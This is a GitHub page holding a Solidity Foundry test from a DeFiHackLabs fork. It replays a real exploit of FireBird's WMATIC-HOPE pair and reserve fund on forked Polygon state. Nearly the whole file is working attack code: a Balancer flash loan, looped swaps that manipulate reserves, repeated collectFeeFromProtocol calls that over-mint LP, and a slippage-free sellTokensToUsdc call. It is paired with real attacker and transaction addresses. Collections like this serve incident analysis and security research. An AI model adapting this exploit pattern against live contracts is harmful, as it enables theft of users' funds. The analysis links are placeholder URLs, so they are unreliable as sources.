forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FireBirdPair_exp.sol
145 lines (127 loc) · 6.04 KB
/
FireBirdPair_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~8536 MATIC (This tx exploit 3211 MATIC)
// Attacker : https://polygonscan.com/address/0x8e83cd1bad00cf933b86214aaaab4db56abf68aa
// Attack Contract : https://polygonscan.com/address/0x22b1a115b16395e5ebd50f4f82aef3a159e1c6d1
// Vulnerable Contract : https://polygonscan.com/address/0x5e9cd0861f927adeccfeb2c0124879b277dd66ac
// Attack Tx : https://polygonscan.com/tx/0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://www.google.com/
// Hacking God : https://www.google.com/
interface IFireBirdRouter {
function swapExactTokensForTokens(
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
uint8[] memory dexIds,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
interface IFirebirdReserveFund {
function collectFeeFromProtocol() external;
function sellTokensToUsdc() external;
}
interface IFireBirdPair {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IHOPE is IERC20 {
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool);
}
interface IProxyUSDC is IUSDC {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract ContractTest is Test {
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IWETH WMATIC = IWETH(payable(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270));
IFireBirdRouter Router = IFireBirdRouter(0xb31D1B1eA48cE4Bf10ed697d44B747287E785Ad4);
IFirebirdReserveFund ReserveFund = IFirebirdReserveFund(0x5D53C9F5017198333C625840306D7544516618e4);
IFireBirdPair FLP = IFireBirdPair(0x5E9cd0861F927ADEccfEB2C0124879b277Dd66aC);
IFireBirdPair ce2c_FBP = IFireBirdPair(0xCe2cB67b11ec0399E39AF20433927424f9033233);
IProxyUSDC USDC = IProxyUSDC(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
IHOPE HOPE = IHOPE(0xd78C475133731CD54daDCb430F7aAE4F03C1E660);
uint256 amount = 286_000_000_000_000_000_000_000;
function setUp() public {
vm.createSelectFork("polygon", 48_149_138 - 1);
vm.label(address(Balancer), "Balancer");
vm.label(address(WMATIC), "WMATIC");
vm.label(address(USDC), "USDC");
vm.label(address(HOPE), "HOPE");
vm.label(address(Router), "Router");
vm.label(address(ReserveFund), "ReserveFund");
vm.label(address(FLP), "FLP");
vm.label(address(ce2c_FBP), "ce2c_FBP");
approveAll();
}
function testExploit() external {
uint256 startMATIC = WMATIC.balanceOf(address(this));
console.log("Before Start: %d MATIC", startMATIC);
address[] memory tokens = new address[](1);
tokens[0] = address(WMATIC);
uint256[] memory amounts = new uint[](1);
amounts[0] = amount;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);
uint256 intRes = WMATIC.balanceOf(address(this)) / 1 ether;
uint256 decRes = WMATIC.balanceOf(address(this)) - intRes * 1e18;
console.log("Attack Exploit: %s.%s MATIC", intRes, decRes);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
for (uint256 i = 0; i < 3; i++) {
WMATIC_HOPE_PairSwap();
}
WMATIC.transfer(address(Balancer), amount);
}
function WMATIC_HOPE_PairSwap() internal returns (uint256) {
uint256 amountIn = 226_000_000_000_000_000_000_000;
uint256 secAmount = routerSwap(address(WMATIC), address(USDC), amount - amountIn, 1, address(ce2c_FBP), 1); // swap WMATIC to USDC
for (uint256 i = 0; i < 3; i++) {
amountIn = routerSwap(address(WMATIC), address(HOPE), amountIn, 1, address(FLP), 1); // swap WMATIC to HOPE, deflate HOPE reserve in WMATIC-HOPE LP
ReserveFund.collectFeeFromProtocol(); // collect fee from protocol, burn WMATIC-HOPE LP, sent WMATIC to 'FirebirdReserveFund', a large amount of WMATIC-HOPE LP mint through manipulated mintLiquidityFee() function
amountIn = routerSwap(address(HOPE), address(WMATIC), amountIn, 1, address(FLP), 1); // swap HOPE to WMATIC back
}
ReserveFund.sellTokensToUsdc(); // 'FirebirdReserveFund' swap WMATIC to USDC without slippage protection
routerSwap(address(USDC), address(WMATIC), secAmount, 1, address(ce2c_FBP), 1); // swap USDC to WMATIC back
return amountIn;
}
function routerSwap(
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 amountOutMin,
address path,
uint8 dexId
) internal returns (uint256) {
address[] memory paths = new address[](1);
paths[0] = path;
uint8[] memory dexIds = new uint8[](1);
dexIds[0] = dexId;
uint256[] memory results = new uint[](2);
results = Router.swapExactTokensForTokens(
tokenIn, tokenOut, amountIn, amountOutMin, paths, dexIds, address(this), type(uint256).max
);
return results[1];
}
function approveAll() internal {
WMATIC.approve(address(Router), type(uint256).max);
WMATIC.approve(address(FLP), type(uint256).max);
WMATIC.approve(address(ce2c_FBP), type(uint256).max);
USDC.approve(address(FLP), type(uint256).max);
USDC.approve(address(ce2c_FBP), type(uint256).max);
USDC.approve(address(Router), type(uint256).max);
HOPE.approve(address(Router), type(uint256).max);
HOPE.approve(address(FLP), type(uint256).max);
HOPE.approve(address(this), type(uint256).max);
}
}